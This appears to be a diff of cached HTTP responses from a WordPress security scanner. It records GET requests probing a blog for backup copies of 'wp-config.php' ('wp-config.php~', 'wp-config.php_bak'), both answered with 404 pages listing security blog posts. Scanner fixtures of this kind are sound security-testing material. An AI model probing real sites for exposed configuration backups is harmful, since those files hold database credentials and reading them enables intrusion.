class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 3.1e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php~
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:25 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=5kvmusulv0s0ufhg127copgop8i04sks; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:25 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 3.1e-05
|
||||
pretransfer_time: 3.0e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.php~
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.php~
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.773069
|
||||
status_message:
|
||||
time: 0.928828
|
||||
310
cache/browser/c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a
vendored
Normal file
310
cache/browser/c2655a44d2cf25a7b9107e7983a1da0d9d6bc02a
vendored
Normal file
@@ -0,0 +1,310 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 2.8e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Php_bak</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php_bak/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" 